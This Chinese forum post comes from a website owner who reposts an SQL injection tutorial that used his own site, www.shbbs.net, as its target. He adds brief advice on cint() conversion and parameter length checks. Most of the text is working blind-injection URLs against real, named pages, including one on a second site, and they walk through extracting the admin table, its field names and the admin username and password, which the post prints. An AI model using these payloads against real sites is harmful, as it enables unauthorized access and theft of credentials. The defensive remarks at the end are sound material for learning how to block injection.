(大家可以用GOOGLE搜索,www.jinshouzhi.org有得下)
这篇文章是去年10月份发的,我今年3月份才发现,这么长时间以来我的网站www.shbbs.net一直被当作教程攻
击,呵呵,晕死。直到有一个好心网友提醒我我才做了一些处理。
大家不要再按教程上直接使用攻击我的网站www.shbbs.net了,呵呵我已经打了预防针了:)找别人的去演习吧
:)
以下是文章部分,还有动画教程,呵呵,晕死:)
实战 SQL Injection
目标:www.shbbs.net 的文章发布系统~~
目的:为了演示SQL Injection 给新手看,请大家不要破坏~~
打开 http://www.shbbs.net/Article/list.asp?id=974
在 http://www.shbbs.net/Article/list.asp?id=974 后加个 '
http://www.shbbs.net/Article/list.asp?id=974'
出错!ID没有过滤.
好。现在步骤就是
1、猜管理员账号的表
2、猜相应表中的用户的字段名以及密码的字段名.
3、猜出用户名的长度和密码的长度.
3、猜出用户名和密码
4、找到管理界面进去登陆管理.
猜管理员表:
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin) '//min(id) 返回表
中ID最小的值.
返回文章,证明有一个admin的表.如果没有返回文章,证明出错!不存在admin这个表.
猜用户的字段名
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where user='qqq')
返回错误信息,表示没有user这个用户字段名
再来~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
username='qqq')
没有返回错误信息.又也没有返回文章,提示找不到相应文章
证明:在admin中存在username这个字段.
只是用户名不是qqq
猜密码的字段名
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where passwd='qqq')
返回错误信息,表示没有passwd这个密码字段名
再来~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
password='qqq')
没有返回错误信息.也没有返回文章.提示找不到相应文章.
证明:在admin中存在password这个字段.
只是密码不是qqq
现在就来猜用户字段名长度
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
len(username)>8)
正确~~
http://www.xuanke.com/wz/list.asp?id=47 and 1=(select min(id) from admin where len(username)<15)
正确~~
用户名长度 大于8 小于15
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
len(username)=10)
呵呵~~用户名长度为10位``~~
猜密码长度
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
len(password)>8)
正确~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
len(password)<15)
正确~~~
密码长度也是 大于8 小于15
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
len(password)=10)
呵呵~~密码长度为10.
用户名长度为:10 密码长度为:10
现在来猜用户名.
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
mid(username,1,1)='a')
错了~~
我再猜~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
mid(username,1,1)='s')
呵呵~~正确~~
用户名第一位是 s
猜用户名的第二位~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
mid(username,2,1)='h')
用户名第二位是 h
由于时间关系,我早就猜好了,用户名:shbbsadmin
我们现在来猜密码~~ 猜密码跟猜用户名一样~~
http://www.shbbs.net/Article/list.asp?id=974 and 1=(select min(id) from admin where
mid(password,1,1)='s')
猜啊猜~
由于时间关系,密码我都猜好了,呵呵~~密码:shbbsadmin 哈哈~~跟用户名一样~~~~
用户:shbbsadmin
密码:shbbsadmin
============================================================
呵呵,我以前用动网文章系统,被sql注入攻击者都写成教程给别人下载了
有些SB就拿我开刀,所幸我的论坛和文章发布系统用户名密码各不相同,否则损失可惨了
于是培养了稍于注意安全的写代码习惯。
如ID等数值型参数都是加cint()进行类型转换的,注入绝对是不成功的,如果是字符型参数都不用害怕',会当
做一个字符部分,毫无作用。
另外就是对传入参数做长度限定,比如
if len(request("id"))>5 then response.end
简单的一句话让注入攻击者一筹莫展。